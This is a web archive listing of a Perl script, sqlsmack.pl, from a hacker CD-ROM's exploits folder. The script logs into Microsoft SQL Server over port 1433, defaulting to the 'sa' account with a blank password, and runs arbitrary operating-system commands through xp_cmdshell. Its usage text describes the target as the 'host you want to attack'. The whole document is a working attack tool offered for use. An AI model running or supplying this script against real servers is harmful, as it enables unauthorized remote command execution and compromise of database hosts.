home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / eploits / sqlsmack / sqlsmack.pl < prev   
Encoding:
Perl Script  |  2004-03-03  |  2.3 KB  |  106 lines

  1. #!/usr/bin/perl
  2. ###############
  3.  
  4. ##
  5. # MSSQL Access Via TCP/IP (tcp/1433) and DBI
  6. ##
  7.  
  8. use Getopt::Std;
  9. use DBI;
  10. use DBD::FreeTDS;
  11.  
  12.  
  13. sub usage {
  14.     print STDERR qq{
  15.  
  16. *- -- ---[ sqlsmack v$VERSION - H.D. Moore <hdmoore\@digitaldefense.net>
  17.  
  18. Usage: $0 -h <host> -c 'command'
  19.  
  20.     -h <host>       = host you want to attack
  21.     -d <database>    = the database to use (master)
  22.     -u <username>   = username to use (sa)
  23.     -p <password>   = password to use (blank)
  24.     -c <command>    = command to execute
  25.     -q <sql query>    = sql query (instead of command)
  26.     -P <port>       = alternative port to use (1433)
  27.     -W              = use command.com instead of cmd.exe
  28.     -v              = verbose
  29.     
  30. };
  31.     exit(1);
  32. }
  33.  
  34. ##                    ##
  35. #    MAIN STARTS HERE   #
  36. ##                    ##
  37.  
  38.  
  39. getopts("h:d:u:p:c:q:P:DWv", \%args);
  40.  
  41. $VERSION = "1.2";
  42.  
  43. # global options hash
  44. %options = ( "Query" => "SELECT 1 + 1",
  45.              "Database" => "master",
  46.              "Username" => "sa",
  47.              "Password" => "",
  48.              "Port" => 1433,
  49.              "CMD" => "cmd.exe",
  50.              "Verbose" => 0
  51.            );
  52.  
  53.  
  54. if(!defined($args{h})){usage();}else{$options{"Host"} = $args{h};}
  55.  
  56. # validate the port
  57. if(defined($args{P}))
  58.     if (int($args{P}) > 65535 || int($args{P}) <= 0)
  59.     { 
  60.         print "Invalid port specified.\n";
  61.         exit;
  62.     }
  63.     $options{"Port"} = $args{P};
  64. }
  65.  
  66. if(defined($args{u})){$options{"Username"} = $args{u}; }
  67. if(defined($args{p})){$options{"Password"} = $args{p}; }
  68. if(defined($args{W})){$options{"CMD"} = "command.com"; }
  69. if(defined($args{c})){$options{"Query"} = "EXEC master..xp_cmdshell '". $options{"CMD"} ." /c " . $args{c} . "'"; }
  70. if(defined($args{q})){$options{"Query"} = $args{q}; }
  71. if(defined($args{v})){$options{"Verbose"}++; }
  72.  
  73. if(defined($args{D}))
  74. {
  75.     print "----[ OPTIONS DUMP ]----\n";
  76.     foreach $key (keys(%options))
  77.     {
  78.         print "$key => ".$options{$key}."\n";
  79.     }
  80.     print "\n";
  81. }
  82.  
  83. # create the DSN connection
  84. $dsn = "DBI:FreeTDS:database=".$options{"Database"}.";host=".$options{"Host"}.";port=".$options{"Port"};
  85. $dbh = DBI->connect($dsn, $options{"Username"}, $options{"Password"});
  86.  
  87. if ($options{"Verbose"})
  88. {
  89.     print "Executing Query:  \"" . $options{"Query"} . "\"\n\n";
  90. }
  91.  
  92. # execute the query
  93. $sth = $dbh->prepare($options{"Query"});
  94. $sth->execute();
  95.  
  96. # retrieve the results
  97. while (@rs = $sth->fetchrow())
  98. {
  99.     print join(" ", @rs) . "\n";
  100. }
  101.  
  102. # disconnect
  103. $sth->finish();
  104. $dbh->disconnect();
  105.